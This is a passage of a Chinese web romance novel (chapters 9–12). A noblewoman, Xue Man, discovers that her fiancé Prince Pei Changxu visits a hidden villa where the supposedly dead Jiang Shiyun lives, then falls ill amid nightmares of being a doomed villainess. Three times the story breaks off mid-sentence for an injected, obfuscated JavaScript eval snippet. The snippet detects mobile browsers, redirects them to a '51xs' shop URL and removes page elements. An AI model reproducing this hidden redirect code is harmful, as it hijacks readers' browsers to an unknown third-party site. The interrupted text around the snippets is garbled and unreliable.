“以他展露出的才能来看,登碑只是时间问题。”裴长旭道:“你我姑且拭目以待。” 都察院主掌监察、弹劾及上谏之事,与刑部、大理寺并称三法司,拥有“大事奏裁、小事立断”的权力,责任重大,深得历代皇帝信任。眼下的许清桉只是名小小的监察御史,但多磨砺几年,未尝不能独当一面。 * 主子们玩耍时,侍卫、仆婢们会聚在一起闲聊,别看他们身份低微,谈话间透露出的讯息却不可小觑。 明荟在薛满身边伺候了一上午,被特许回马车休息。她喝了些水,找了处隐蔽的阴凉地看风景,刚坐下不久,耳畔便捕捉到一阵脚步声,紧跟着是两名男子在低声说话。 “杜洋,你天天跟在殿下左右,依你之见,殿下三番五次地去南溪别院,究竟是个什么想法?” “我不清楚。” “横竖左右无人,你就别严防死守了,咱们兄弟俩唠嗑而已,绝不会被第三人听到。” 杜洋沉默了会儿,道:“殿下心中仍有江姑娘,这是不争的事实。” “那他对薛小姐呢?” “薛小姐是未来的端王妃,是殿下正妻的不二人选。” “我懂,正妻是正妻,心上人是心上人,啧,也不知殿下婚后会不会将南溪别院那位接进王府。” 他们浅聊了几句便离开,留下明荟紧捂着嘴,在原地心惊肉跳。 什么南溪别院?端王殿下打算将里面的谁接进王府?再有,这跟死去的江诗韵又有何关联? 无数问题挤满她的脑子,胀得她头痛欲裂,整个人都魂不守舍。 薛满误以为她是着了凉,回府后道:“你去休息两日,让明萱她们服侍我就好。” 明荟喏喏应是,离开时一步三回头:该告诉小姐她午时偷听到的那番话吗?说端王殿下在南溪别院藏了名女子,时不时会去那边探望,往后更有可能纳到身边伺候…… 她昏沉沉地回到卧室,蒙上被子试图入眠,然而一闭上眼,脑中便浮现昔日小姐哭泣的模样。 那时的小姐撞破江诗韵跟端王殿下有私情,委屈愤怒极了,一度想赶江诗韵离开薛府。但端王殿下将所有的错都揽到身上,恳请小姐帮他保护心上人,小姐心软意活,竟也真的答应下来。于是乎,她白日里要强颜欢笑,夜里却躲在被子里悄悄地哭。 小姐已被端王殿下狠狠伤过一次,难道还要再来一次? 她想着想着,不知不觉陷入睡眠,梦中呈现的是另一番场景:小姐梳着妇人发髻,面色苍白地倚在窗边,凝视着院子默默垂泪。 她顺着小姐的视线望去,见秋千架上,端王殿下搂着名窈窕绮丽的女子。两人合坐在秋千上,背对着她们耳鬓厮磨。 有婢女喊道:“殿下,诗夫人,时辰已到,你们该去宫里觐见皇后娘娘了……” 画面一转,小姐又身处大江河畔,浪在翻滚,江面雾雾蒙蒙。小姐穿着一袭血般刺眼的红裙,直勾勾地盯住她,凄厉质问:“明荟,你为什么不早点告诉我,三哥将来会纳妾?” 明荟想解释,奈何声音被封在喉中,吐不出半个字。她只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521582|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能眼睁睁看着小姐纵身一跃,跳入奔腾不息的江水中…… “不,不要!” 明荟大喊一声,猛然从梦中惊醒。她汗流浃背,大口大口地喘着气,半晌后,急匆匆地穿好衣裳。 她赶到薛满的卧房前,明萱恰好端着盆子出来,小声问:“你好些了?” 明荟摇头,道:“我有要事禀告小姐。” 内室中,薛满洗漱完毕,坐着由明荷替她拆发饰。 明荟掀开帘子,鼓起勇气上前,“小姐,奴婢有话想跟您单独说。” 薛满看了明荷一眼,后者安静地带门离开。 她取下臂钊,握在手心把玩,笑道:“你说吧。” 明荟扑通一声跪地,“奴婢午时回马车休息,意外撞见端王殿下的侍卫杜洋与人说话,他们说……” 时间缓缓流逝,明荟跪伏在地,凉意顺着膝盖爬上四肢百骸。她不敢隐瞒,将听到的对话照实复述,随后犹如犯人一般,战战兢兢等待主子的反应。 小姐会勃然大怒?还是崩溃大哭?亦或是…… 她设想过许多失控场面,甚至已准备好应对的话语,独独没有想过,小姐会平静地道:“不是杜洋。” 明荟愕然抬头,“不,奴婢听得一清二楚,那人喊得的确是——” “不是杜洋。”薛满重复道:“你休息那会,杜洋正在三哥身边伺候,所以说话的人绝不是他。” 明荟呆住,“是、是吗?” “是。”薛满语气笃定,“都说耳听为虚,眼见为实,你听到的兴许有岔,但我见到的绝对没错。” 明荟开始动摇,“那说话的人是故意误导奴婢,想通过奴婢的嘴,挑拨您和殿下的感情?” 她越想越觉得有理,重重地磕了两个响头,“是奴婢愚钝,差点误会了端王殿下,恳请小姐责罚!” 薛满没有深究此事,问:“明荟,你觉得三哥待我好吗?” “当然好。” “比起江诗韵呢?” “她没有资格跟您比。”明荟眼神轻蔑,道:“奴婢见过殿下和江诗韵相处,是江诗韵做出一副温柔可人、百依百顺的模样,处处讨好殿下,殿下当时年纪小,难免会被蛊惑。但在您面前,从来都是殿下费心思讨您欢心,待您呵护至极。” “你说得对。”薛满轻声道:“三哥肯定更喜欢我。” * 玩了一天,薛满的身体疲乏,但她躺在床上,半宿过去依旧毫无睡意。 她对明荟撒谎了。 白日明荟回去休息的时候,她跟三哥正在树下摘樱花。他们摘了好几篮子樱花,由明萱和杜晨一路拎着。 是的,那会跟在三哥身边的人是杜晨,而非杜洋。 他们都是三哥的心腹侍卫,杜洋尤甚。他从小就忠心耿耿,深得三哥信任,这世上最了解三哥的人里,杜洋定逃不出前三。 所以,明荟听到的那番话究竟是否出自杜洋之口?若不是也就罢了,若是的话…… 白日里的欢愉消失殆尽,薛满攥紧被子,神思混沌了许久,最终闭上眼,自欺欺人地想:只要她没亲眼见到,一切便都不可信。 10. 第 10 章 怀疑一旦埋下种子,便会迅速扎根,伺机破土而出。 尽管薛满换着法子说服自己,内心仍得了病。她勉强按捺几日,终是没忍住,私下派人去打听南溪别院。 不多时她便得到回信:京城北郊的确有座南溪别院,原本归一名布商所有,三年前布商去世,其子高价变卖出宅邸,新主人是谁却不得而知。 南溪别院空置了两年,直到去年底才搬进人,可住的人是谁?祂是男是女?是何等身份?探子想方设法都撬不出消息,足可见主人的神通广大。 薛满听后,心渐渐沉到谷底。她斥退下人,趴在梳妆台上缓了缓,并未觉得好转,反而觉得胸口愈来愈闷。 不,她不能干坐在这里,必须去做点什么。 薛满钻进小厨房,捣鼓半天,炖出一盅香浓的当归鸡汤。她甚至忘记换身干净的衣裳,便乘坐马车赶到工部。 “端王殿下在吗?” “薛小姐,您来得不凑巧,殿下刚有事出去了……” 似曾相识的回答使得薛满失去耐心,连声追问:“他几时走的?去了何处?可有说什么时候回来?” 回话的官吏不由讶异,薛小姐向来好脾气,难得见她咄咄逼人。 他小心翼翼地道:“昨日工部收到消息,称护城河里有淤泥堵塞,端王殿下用过午膳便领人疏通去了,我也不知他何时回来。” 薛满问清具体位置,立刻前往护城河边。 护城河边,裴长旭正负手而立。他身前是宽深的护城河,河水汩汩。身后是高大的城墙,坚固陡直。高城深堑环绕着整座皇城,日夜维护着城内安全。 护城河的水自西南流入,常年清澈,但遇上多雨、暴雨的季节,河道里会有淤泥冲刷,时间一久会形成堆积,需要人为地挖掘清理。 裴长旭在工部担任右侍郎一职,平日会处理土木、水利相关之事。至于火器制造、矿冶等重职,则由工部尚书与太子裴长泽偕同负责。 裴长旭与裴长泽虽非同母所出,但二人感情甚笃,自小兄友弟恭。裴长旭对皇位没有任何想法,能带阿满去往封地,平静安稳地过一生,已是他对未来的所有期盼。 工匠站在捻泥船上,用竹制的捻泥篰清理河道。裴长旭站在岸边监督,有人想撑伞替他遮阳,被他婉言拒绝。 “不用,我与他们一样就好。” 他潇洒俊朗,衣袂飘飘,在人群中显得鹤立鸡群。 薛满一眼便瞧见了他,悬着的心稍有归位。她用眼神示意旁人安静,悄悄走到裴长旭身后,递出一块带着鸡汤味儿的绣帕。 裴长旭头也不回地道:“这位姑娘,请自重。” 薛满默不作声,坚持伸着手。 裴长旭声音冷冽,“来人,立刻带她下去,无关人等不得靠近此地。” 薛满开口:“我也不行吗?” 裴长旭转身,神色难掩讶异,“阿满,你怎么来了?” 薛满抬起手里的食盒,“我去工部给你送鸡汤,他们说你在这里忙,我怕鸡汤变凉,所以才赶来找你。” 说罢,她歉疚地道:“是我不好,我这就走。” “慢着。”裴长旭顺手接过杜洋手里的伞,替她遮去恼人的阳光,“我站得有些累,你陪我去休息会儿,好吗?” 薛满点头,和他走到临时搭建的棚子里。两人坐在一张长凳上,裴长旭打开食盒,取出瓷盅,舀了勺汤入口——呃,齁咸齁咸。 他问:“今日的鸡汤你尝过吗?” 薛满摇头,“没,炖好就给你端来了,怎么,不好喝吗?” “味道甚好。”他又喝了一口,面不改色地道:“我午时只用了一碗白粥,这会正饿着,多谢表妹雪中送炭。” 他行若无事地用起鸡汤,薛满安静地看着,眸中的光忽明忽暗。 该当面问三哥吗?问他是不是南溪别院的主人,问里面住着谁,问他是否瞒了什么秘密…… “阿满,回神。” “嗯?” “你脸色不好,生病了吗?”裴长旭探向她的额头,见热度正常,转而注意到她眼下的淡青色,“昨日没睡好?” “嗯。”她道:“我做了一个梦。” “梦见什么了?” ——梦见你另娶他人,与她浓情蜜意,恩爱非常。 薛满垂眸,没有说实话,“梦见我们小时候,你带我爬上雁昙山顶,你说对着山谷诚心许愿,有朝一日便能梦想成真。” “是,民间都这么传。” “你当时许了什么愿望?” “我希望父皇与母后圣体健康,国泰民安,五谷丰登。” “三哥心系社稷,实令阿满佩服。” “彼时正逢大旱,我见父皇为百姓生计忧心,因此有感而发。”他问:“你呢,你许了什么愿?” 薛满的愿望很简单,她希望能跟裴长旭永远在一起。江诗韵出现时,她曾经埋怨老天不公,十几年青梅竹马的感情,凭什么输给一段突如其来的爱情?可爱情没道理,命运更没道理。兜兜转转的,三哥仍是与她定了亲,就在她以为赢了时,老天又似乎在提醒她,事实并非如此。 “三哥真想知道我许了什么愿?”她问。 “若你愿意说,我便洗耳恭听。” “眼下我不能告诉你。”她道:“要等等。” “等到何时?” “等我们成亲那晚。” 这一刻,裴长旭联想到裴唯宁问的话:他打算何时向阿满坦白江书韵的事? 成亲当天绝不是个好时机,他还得再琢磨琢磨。 喝完鸡汤,裴长旭还要继续监工,薛满先行打道回府。她在书房静坐了半个时辰,对暗处的护卫道:“去守着南溪别院,若有端王殿下的踪迹,随时向我禀报。” 护卫领命离开,薛满打开窗户,见天空骤然暗沉,天际乌云翻涌,风雨欲来。 犹如她此刻的心情一般。 * 裴唯宁今年十七,比薛满还大一岁,因生来受宠,养成了活泼爽朗、无拘无束的性子,迟迟不愿定下亲事。 这可愁坏了景帝与薛皇后,他们精心挑选出京中的青年才俊,轮番向裴唯宁推荐,裴唯宁嘴上答应得好,暗中却屡屡使坏。 景帝与薛皇后不知内情,锲而不舍地为她寻婿。这不,她前脚刚以“无父无母”的缘由推拒了恒安侯世子许清桉,他们后脚便寻来什么山西巡抚的儿子,称他父母健在,年轻有为,前途无量…… 裴唯宁烦不胜烦!父皇与母后又不是养不起她,干吗非要让她嫁人?她也想学前朝那谁谁谁公主,一辈子都不成亲,遇上合意的男子便豢养在公主府,厌了就打发走,多好,多舒心! 当然了,她只是想想而已,实践还需要积蓄足够的勇气。 言归正传,她故技重施,花费小半个月的时间“搞定”那位山西巡抚之子,正得意洋洋时,突然觉得有些不对劲。左思右想后,她得出结论:咦,她已有好些天没见阿满了! 她风风火火赶到薛府,绘声绘色地道:“你知道山西巡抚的儿子郭天放吗?我派人去查他,得知他竟是个色胚子,在外面养了五个外室,其中三个 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裴唯宁搂着她的肩,好声安慰:“不怕,我待会去找母后,让她给你放几天假,你今后又不住在宫里,规矩学个样就成了。” “能这样吗?” “当然能,母后那么疼你,定也舍不得你辛苦。” 薛满神色一黯:自父亲过世,姑母便将她当作亲女般抚养,凡事都尽力给她最好的。这么多年来,姑母、小宁还有三哥组成了她生活的全部,她深深地依赖他们,不愿和他们起任何冲突。 她忽然胆怯:便到此为止吧,别再钻牛角尖,安心等着与三哥成亲就好。 薛满露出无力的笑容,“好,就这么办。” 裴唯宁见她精神不济,特意挑她喜欢的东西问:“我送的话本你看了没?” 薛满道:“最近忙,我还未开始看。” 裴唯宁道:“那正好,你休息的这几日可以慢慢看,遇上精彩的记得跟我分享。” 裴唯宁说到做到,立马回宫找到薛皇后,跟她说明薛满的情况。薛皇后果然心疼侄女,派人传话,让她在家休息三日。 傍晚时分,裴长旭忙完公务,照旧到薛府陪薛满。他也察觉到她近段时间的不对劲,但被薛满以同样的说辞敷衍过去。 表兄妹俩在书房坐了小半个时辰,待裴长旭离开,薛满招来护卫,低声道:“去喊云斛、云飞他们回来吧。” 云斛和云飞正是她派去监视南溪别院的两名护卫。 随后,她不顾天色已暗,喝了盏绿茶提神,打开裴唯宁送的红木箱子,打算连夜将它们摆上书架。 明荟想替劳,被她摇头拒绝。 “你退下,我想单独待会。” 她一册册地往外拿话本,分门别类地放上书架,目光专注,心却不知飘向何处。 若阿爹阿娘还在该多好,遇上难题,能有至亲替她解惑,而非由她独自抉择…… 浑浑噩噩间,她拣起一册话本,瞧见一个熟悉的名字。 《旧雨重逢》?它怎么会在这里,她明明早就扔了它! 她惊愕片刻,意识到这是一个巧合。小宁叫她扔了它,岂料搜罗来的话本中竟然也有它。 似乎冥冥之中,薛满注定要看完它。 薛满蹙眉,手指翻上书页,正打算接着前文继续看时,门外传来云斛的声音。 “小姐,属下有要事禀报!” 薛满的脸色霎时惨白,身形摇摇欲坠。 不管她怎么选,该来的总会来,是吗? 11. 第 11 章 月明星稀,夜深露重。 一辆马车疾驰在道路间,劈开薄雾,马不停蹄地赶往北郊。 薛满裹着披风,缩在车内一角,耳畔回荡着云斛的话。 “小姐,半个时辰前,属下接到您让云齐带来的口信,正准备撤退时,却意外看见了杜洋。他驾马车停在南溪别院外面,紧跟着端王殿下下车,由一名婢女接引入内。属下等了小半刻钟,没见端王殿下出来,于是马上回府向您禀告。云飞和云齐还在原地守着,等候您的吩咐……” 寒意钻过车窗缝隙,在空气中迅速蔓延,冻得她浑身冰凉。 明荟听到的,云斛见到的,都在指向同一个事实:三哥在南溪别院藏了名女子。 什么样的女子,能让他在离开薛府后,拖着疲乏的身躯,连夜也要去探望? 她百思不得其解,唯有亲自跑上一趟,当面探个究竟。 她闭上眼,脑中飞驰过无数画面,是从牙牙学语到豆蔻年华,有三哥陪伴的幸福时光:是他们遭遇匪徒绑架时,在黑夜中相互鼓励,不离不弃的狼狈逃亡;是阿爹去世后,他温暖宽厚的怀抱,轻言细语的安慰…… 以后都不会有了吗? 温热沿着脸颊滑落,她紧咬着牙关,不肯泄露丁点哭声。 车外,云斛正飞快地赶着马,偶尔回头看看,担忧溢于言表。小姐对端王殿下的感情有多深厚,他们这些家仆都看在眼里,她此时心底该有多难受! 接近南溪别院,云斛将马车停在隐蔽处,两人改为步行。薛满听从云斛的提醒,放轻脚步,跟他穿过曲折悠长的街道,来到一条幽静的巷子。 云斛压着声道:“小姐,外头便是南溪别院。” 薛满提着裙摆,沿着墙根走到巷口,探头见两丈开外有一座宅院。朱门铜扣,白墙黑瓦,两旁高悬的灯笼清晰照出匾额上的字:南溪别院。 她问:“三哥离开了吗?” 云飞和云齐从暗处现身,恭敬地道:“小姐,殿下还未离开。” 薛满眼前一阵眩晕,扶着墙壁才勉强站稳。 足足半个时辰,她甚至不敢想他在里头做了什么,又或者,他做了什么并不重要,重要的是她准备如何应对。 是掉头就走,给彼此留下/体面;还是上前敲门,狠狠戳穿他的谎言? 云斛按捺不住,主动问:“小姐,需要属下喊人来吗?” 薛满侧首看他,眸里噙着明晃晃的泪。 云斛磨了磨后槽牙,言辞铿锵有力,“您放心,有我们在,谁都欺负不了您。” 他们是薛修平精心挑选出的护卫,自小跟在薛满身边,对她忠心耿耿,唯命是从。端王殿下是贤身贵体,但薛家亦不是好欺负的。他既有负于小姐,就别怪他们对他不客气! 眼看几名护卫义愤填膺,薛满心中苦涩难言。冥冥之中有双手推着她一步步走到这里,使她无法再自欺欺人。它在响亮地宣告:从前有江诗韵,她是个可怜的旁观者。如今有南溪别院中的神秘女子,她依旧无法独享他的爱。 她逃不开命运的安排,除了面对别无选择。 她忍着泪,哑声道:“去敲门。” “小姐,不用喊人吗?” “喊了如何,不喊又如何?”她道:“结果都一样。” 云斛抱拳,“好,属下这就去。” 他松了松颈腕,刚抬起右脚,南溪别院便传来动静。两扇紧闭的朱门忽然由内打开,杜洋提着灯笼,率先跨过门槛,紧随其后的正是端王裴长旭。 云斛下意识地看向薛满,见她呆呆地望着别院,已是泪流满面。 果真是三哥,他仍穿着方才见面时的那袭天青色长袍,想必是着急来此,连衣裳都顾不上换。她平日最喜欢他穿清浅的颜色,夸他雅致温润,活脱脱是话本中走出的男主。不承想的是,他会穿着同一件衣服,在见过她后再去见别人。 她闭上眼,登时百念俱灰。 云斛见状,撸着袖子便要冲出去,被云飞眼疾手快地拉住。 他低声道:“小姐快看,殿下身后还有人。” 薛满抬起婆娑的泪眼,朦胧中,见到一抹雪白色的纤细身影跟在裴长旭身侧。她拭干泪水,努力睁大眼睛,想要看清是谁又一次抢走了三哥,岂料须臾后,她看见了匪夷所思的画面。 柳叶眉,芙蓉面,温柔似水,楚楚可怜的熟悉姿态,她分明是—— “江诗韵?”云斛一副活见鬼的模样,“她不是死了吗!” 云飞皱眉,辨认再三后道:“的确是她。” 众人目目相觑,难以理解这怪诞离奇的事件走向。他们都知道,江诗韵在两年前为救端王殿下而死。可眼前这一幕做不得假,江诗韵不仅活着,还被端王殿下藏在了南溪别院中。 一个合理的推测浮现在众人脑海:莫非江诗韵当初根本没死,是端王殿下制造假象,以此躲避皇后娘娘的耳目? 他们想得到,薛满自然也能。她尚未从错愕里回神,忽又浮想联翩:江诗韵死而复生,这样戏剧化的转折,岂非与《旧雨重逢》的情节一模一样?若三哥是痴心专情的男主,江诗韵是死而复生的女主,那她呢,她薛满是谁? 她急促地呼吸着,好似一条离开水分滋养的鱼,马上便会窒息而亡。 云斛察觉出她的异样,道:“小姐,您别多想,无论江诗韵是死是活,您都是端王殿下名正言顺的未婚妻。” 薛满却充耳未闻,颤声道:“我要回府,立刻回府。” 几人忙护送着她离开,而暗中发生的一切,南溪别院门口的裴长旭并不知晓。 他这会的注意力在江书韵身上,“你怎么出来了?” 今晚他来南溪别院,是因江书韵在整理姐姐的旧物时,意外发现一个小箱子,里面装着江诗韵生前喜爱的小物件和一沓信件。信封上无一例外写着:此致裴郎,以寄衷肠。 显而易见,这是江诗韵写给他的情笺。 他借用了书房,仔细研读每一封信,在字里行间重温与江诗韵的过去,一时不察竟待到夜深。他怊怅若失,却将信件重新装好,交还给江书韵,让她继续替姐姐保管。 江书韵不解地询问缘由,他直言不讳,“我即将成亲,收藏此物不合适。” 江书韵歉道:“殿下说得对,是我考虑欠周。” 裴长旭告辞离开,她想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552485|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,从箱里抓起一样物件,气喘吁吁着追到门口。 “殿、殿下请留步。”她摊开手,掌心躺着个半旧的布娃娃,“它是姐姐亲手缝制的娃娃,陪伴身边多年,请殿下收下它,就当留个纪念。” 裴长旭低眸,眼神有短暂挣扎,或许他可以收下,毕竟布娃娃没有署名,被人发现也无大碍。可他又想到阿满,她那样的信任依赖他,于情于理他都不应留恋旧情。 他摇摇头,淡声道:“你早些休息。” * 另一头,薛满跌跌撞撞地回到书房,从柜中翻出《旧雨重逢》,接着之前看过的地方往下读。 时间飞逝,转眼天际泛白。薛满从凌乱的书桌间抬起头,形容憔悴,漆黑的瞳孔失去光彩。 她熬夜看完了《旧雨重逢》,在女主死而复生后,男主大喜过望,当众毁去与女配的婚约。女配怀恨在心,用尽法子阻挠他们的恋情。可惜经历生死分别的男女主已情比金坚,突破重重困难,化解两家仇恨,最后喜结良缘。 而那恶毒又身份尊贵的女配,则被下人揭发真面目:她性情暴戾,无恶不作,也正是她暗中派人刺杀女主,害得男女主苦别三年! 故事的结尾,男女主风光大婚,诞下龙凤双胎。女配则众叛亲离,被关在阴暗的地牢受虫咬鼠噬,半年后便染病身亡。 薛满捂着脑袋,思绪乱作一团:什么恶毒女配,那分明是在影射她,影射她才是这段感情里的破坏者!从始至终,三哥爱的人都是江诗韵,若她执意破坏二人,便会如书中的恶毒女配一般,落得个凄惨无比的下场。 遥想几个时辰前,她伤心欲绝地前往南溪别院,准备质问三哥的欺瞒。如今却是急转直下,甭说谴责三哥和江诗韵,她似乎连生气都丧失立场。 按话本里的逻辑,身份地位、相识先后均不重要,重要的只有真心相爱。 薛满头痛欲裂,已分不清什么是虚构,什么是现实,完全将自己代入《旧雨重逢》。 屋外,云斛与明荟等人守了一夜。几名护卫对南溪别院的事守口如瓶,无论明荟怎么都撬不出话。 小姐昨晚吩咐过,没有她的命令,谁都不许敲门打扰。于是一群人便在外头干等,这一等便是七八个时辰。 好在裴长旭今日来得早,他无须通报,径直来到书房,见门口站着好些人,个个都面色凝重,便问:“出了什么事,阿满人呢?” 云斛嘴角紧绷,眼神流露敌意。 明荟不明所以,道:“殿下,小姐在里头待了一夜,不许奴婢们打扰,请您快进去看看吧。” 裴长旭上前轻轻叩门,“阿满,是我,你能开下门吗?” …… “阿满,你睡着了吗?” …… 裴长旭心中升起不好的预感,直接踹门闯进里间,只见薛满闭眼趴在书桌上,两颊泛着病态的红晕,竟是烧得昏迷不醒。 “阿满!” 他一把横抱起薛满,疾步走出书房,“快去请太医!” 明荟等人又惊又悔,不等他们请罪,裴长旭锐利的眼神如刀般袭来。 “阿满若是出事,我定饶不了你们。” 12. 第 12 章 薛满知道自己病了,病得神志不清。 她人在昏迷,意识却没有停歇,穿梭在一个又一个光怪陆离的梦境。在梦境中,她时而化身为亲切可爱的邻家少女,时而化身为傲娇蛮横的千金小姐,时而化身为端庄淡雅的世家贵女。她们美丽动人,却生着与容貌截然相反的歹毒心肠。她们总是爱而不得,于是由爱生恨,不择手段地搞破坏,致使心上人的真爱多灾多难。 她们人前一套、背后一套,以得到心上人为终身目标,为他神魂颠倒,着魔发疯。然而无论她们怎么努力,心上人都无动于衷,只对真爱情有独钟。 她们坏事做尽仍功亏一篑,得不到心上人的垂怜,更失去拥有的一切,结局非死即残。 薛满身临其境,胆战心惊。 她被无形的绳索束缚,被迫体验她们癫狂凄惨的人生。她的灵魂在竭力呐喊:我不是她们,我不会成为她们,快放我出去! 不知何处响起嗤笑声,有道古怪的尖细嗓音道:“放心,你很快便会成为她们,甚至比她们还可怜。” “我不会!” “你会,你已经拆散过他们一次了,若非你,裴长旭和江诗韵在三年前便该成婚。” “他们身份悬殊,姑母和姑父绝不会同意这桩亲事。” “那又如何?真爱面前,门第不过纸老虎。月老的姻缘簿上清清楚楚地写着,裴长旭与江诗韵是天生一对。” “那我……那我薛满算什么……” “你不是女主人公,那自然是女配,恶贯满盈、下场悲凉的女配。”它道:“你看过那么多话本,这么简单的道理还不明白?” “我明白的,可我和她们不同——” “别给自己找借口了,你们都一样。江诗韵既已死而复生,便意味着你得退位让贤,省得重复话本里恶毒女配的人生。” “你说得不对,我和三哥青梅竹马,我喜欢他,他也喜欢我。” “他喜欢你?那他可有亲吻过你?” 这话问到了关键处,裴长旭对薛满很好,但他从没有亲吻过薛满,哪怕是额头脸颊。 薛满回忆,当初她撞见裴长旭与江诗韵私会时,他正牵着江诗韵的手温柔亲吻,气氛极其旖旎。 种种细节都在昭示,三哥根本不爱她,他爱的是江诗韵。 薛满的心理防线彻底崩溃,泣不成声地道:“这不公平,这太不公平了。” “有些人生下便享锦衣玉食,有些人至死都吃不饱一餐饭,这世上事本就没有公平可言。” 薛满生平第一次感受到极其强烈的恨意,她恨三哥,也恨江诗韵,恨他们的天定姻缘,恨自己为什么要喜欢他。 光线倏然变得昏暗,空气中散发着一股腐朽的腥臭味。她茫然四顾,发现自己身处阴冷的牢房。她忍着害怕,颤颤巍巍地撑着地面起身,手背却爬过某些柔软的活物,定睛一看,那是只肥硕丑陋的老鼠,张着血盆大口,贪婪咬住她的手指—— “啊!” 她尖声惊声,牢外的衙役却习以为常,笑嘻嘻地说着趣闻。 “今日是端王殿下大婚的日子,他的正妃是婢女出身,两人经历了好些磨难,才得到圣上和皇后的认可。据说端王妃腹中已有身孕,太医检查出来,是对龙凤双胎呢。” “薛小姐啊,你说说你,干吗非想不开去残害端王妃?是你的便是你的,不是你的强求也无用。可惜咯,原本的荣华富贵都成云烟,你要在这地牢了此余生……” 她不要! 昏迷中的薛满忽然抖若筛糠,额际滚落大颗大颗的汗水,嘴里含糊不清地重复三个字:她不要。 一旁阖眸休息的裴长旭被惊醒,急忙握住她的手,低声唤着:“阿满,你做噩梦了吗?快醒来,醒来就好了。” 薛满已昏迷三日,太医们到薛府走过好几遭,多方会诊后得出结论:薛小姐是寒气入体致高热不退,喝上几天药便能痊愈。 薛满用药后的确褪去热症,但依旧没有睁眼的迹象,成日了无生气地躺在床上。 裴长旭推掉全部事务,寸步不离地守着她。他分明察觉到阿蛮近段时间身体疲乏,情绪低落,却未加以重视。如今见她久久不醒,在梦中似遭遇极其可怖的事情,他除去担忧自责,更恨不得代她受苦。 “阿满。”他抛开顾忌,在她额头印下一吻,几乎带着恳求地道:“只要你能痊愈,无论要我做什么都行。” 薛满在夜间悠悠转醒。她神色恍惚,艰难地抬着眼皮,望着淡粉色的帐顶无声落泪。 梦中的绝望仍在撕咬她,比潮水汹涌,比深渊黑暗,比鬼怪恐怖。 她太稚嫩,难以接受突如其来的巨变,可当悲伤满溢后,沸腾的情绪倏然沉寂,心底跃出一簇小小的火苗,飘摇却坚定。 她不要,绝对不要。 * 天蒙蒙亮,裴长旭已洗漱完毕,神清气爽地候在床畔,亲手喂薛满喝粥。 “太医叮嘱过,你病了好些天,不能吃油腻的食物,先用两天的粥最好。” “嗯。” “母后前天来过,她说待你醒后,免去你的礼仪课,你安心在家休息就好。” “好。” “你昏迷的时候,唯宁每日都来,我怕她吵到你,便没许她进屋探望,等你身体恢复点再说。” “嗯。”薛满往后靠了靠,侧首避开勺子,“我饱了。” 裴长旭看向还剩大半碗的米粥,“再吃几口,乖。” 他这副哄人的语气,分明当她是三岁儿童。以往她觉得温馨甜蜜,此刻却觉得虚伪又讽刺。 因她天真好骗,于是他便行若无事地欺瞒她吗?在她没有察觉的日子里,他在南溪别院拥着心上人,可曾念过他们十几年的情分?眼看婚期将近,他是打算委屈江诗韵做妾,还是临时悔婚,让她颜面尽失? 薛满的心中容纳着太多情绪,她攥紧被子,生硬地拒绝:“你放桌上就行,我待会喝。” 裴长旭当她是生病闹小性子,耐心地道:“行,待会你想喝我再喂你。” “我有手。” 裴长旭没听清,“什么?” “我有手,还有许多婢女。”薛满眼神倔强,“不用劳烦你。” 裴长旭的笑意渐褪,明眼人都看得出他怫然不悦,换作江家姐妹,早就开始温声细语地宽慰。薛满则视若无睹,直接将锦衾蒙到头顶,来个彻底的眼不见为净。 薄薄的锦衾隔开两人的视线,外头的裴长旭蹙眉,猜测薛满不开心的一百种原因。里头的薛满悲从中来,无声无息地再次落泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565588|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她告诉自己:假的,他的温柔关心全是假的。他爱的人是江诗韵,她不过是他们相爱过程中的试金石。唯有通过她这道难关,他们才能领会真谛,修得圆满。 她想起过往十六年的相处,眼泪流得更凶,肩膀克制不住地耸动。 “唉。” 裴长旭轻叹了声,俯身拥住她。薛满奋力挣扎,反被他环得越来越紧。 他抱着一团茧蛹似的她,罕见地倾吐心声,“你昏迷那几天,我不分早晚守在你身边,心里想着,只要你肯睁眼看看我,无论要我做什么都行。” “我刚见到你时,你还是个丁点大的娃娃。母后说你叫阿满,满字,取‘心满意足’之意,又寄‘幸福美满’之许。我想着,这便是我的阿满妹妹,不料十六年后,你会成为我的阿满妻子。” “妹妹也好,妻子也罢,阿满之于我,均是世上最重要的人。” 比起之前的“重要”,这次他多加了个“最”字,以为能准确表达心意。岂料薛满闻言,愈发地心灰意冷。 他想要骗她到何时? 她掀开锦衾,睁着红肿的眼,连名带姓地喊:“裴长旭。” 倒是个新鲜的唤法,她向来只亲昵地喊他三哥。 裴长旭从善如流地应:“到,薛小姐有何事要吩咐?” 薛满抬着湿漉漉的长睫,泪眸中有愤怒,有委屈,更有无数不甘。 凭什么江诗韵可以,她却不行? 